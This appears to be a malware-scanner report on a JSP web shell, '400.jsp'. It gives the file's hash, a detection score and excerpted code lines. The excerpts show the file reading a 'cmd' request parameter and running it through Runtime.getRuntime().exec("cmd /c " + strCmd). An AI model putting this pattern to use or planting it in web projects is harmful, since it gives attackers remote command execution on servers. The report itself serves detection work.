Suspicious 82% Download

400.jsp

JSP runs the cmd request parameterWeb Shell
SHA-2567f9280722b4cace28d9abad207c037e723a4e81264de262ab4f537037c10f733

Evidence

Java getRuntime call reference lines 1–11
1<%@ page contentType="text/html;charset=gb2312"%>
2<%@ page import="java.io.*,java.util.*,java.util.zip.*,java.text.*"%>
3<%
4 long startTime = System.currentTimeMillis();
5 long startMem = Runtime.getRuntime().freeMemory();
6 String uri = request.getRequestURI();
7 String strThisFile = uri.substring(uri.lastIndexOf("/")+1);//������
⋯4 lines
Web Shell lines 76–91
⋯4 lines
80 }
81 public String getTimeElapsed() {
82 long time = (System.currentTimeMillis() - starttime) / 1000l;
83 if (time - 60l >= 0) {
84 if (time % 60 >= 10)
⋯7 lines
Web Shell - from files 400.jsp, in.jsp, JFolder.jsp, jfolder01.jsp, jsp.jsp, leo.jsp, warn.jsp, webshell-nc.jsp lines 383–395
383:30… rUnit;
384 strAfterComma = "" + 100 * (filesize % intDivisor) / intDivisor;
385 if (strAfterComma == "")
386 strAfterComma = ".0";
387 return filesize / intDivisor + "." + strAfterComma + " " + strUnit;
388 }
389
⋯6 lines
JSP reads cmd request parameter lines 427–443
427:5… dir.delete();//ɾ����ǰĿ¼
428 }
429%>
430<%
431 request.setCharacterEncoding("gb2312");
432 String tabID = request.getParameter("tabID");
433 String strDir = request.getParameter("path");
434 String strAction = request.getParameter("action");
435 String strFile = request.getParameter("file");
436 String strPath = strDir + "\\" + strFile;
437 String strCmd = request.getParameter("cmd");
438 StringBuffer sbEdit = new StringBuffer("");
439 StringBuffer sbDown = new StringBuffer("");
⋯4 lines
JVM Runtime.exec() call lines 1076–1088
1076:15… ffer sbCmd = new StringBuffer("");
1077
1078 if (strCmd != null) {
1079 try {
1080 //out.println(strCmd);
1081 Process p = Runtime.getRuntime().exec(
1082 "cmd /c " + strCmd);
1083 BufferedReader br = new BufferedReader(
⋯5 lines

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.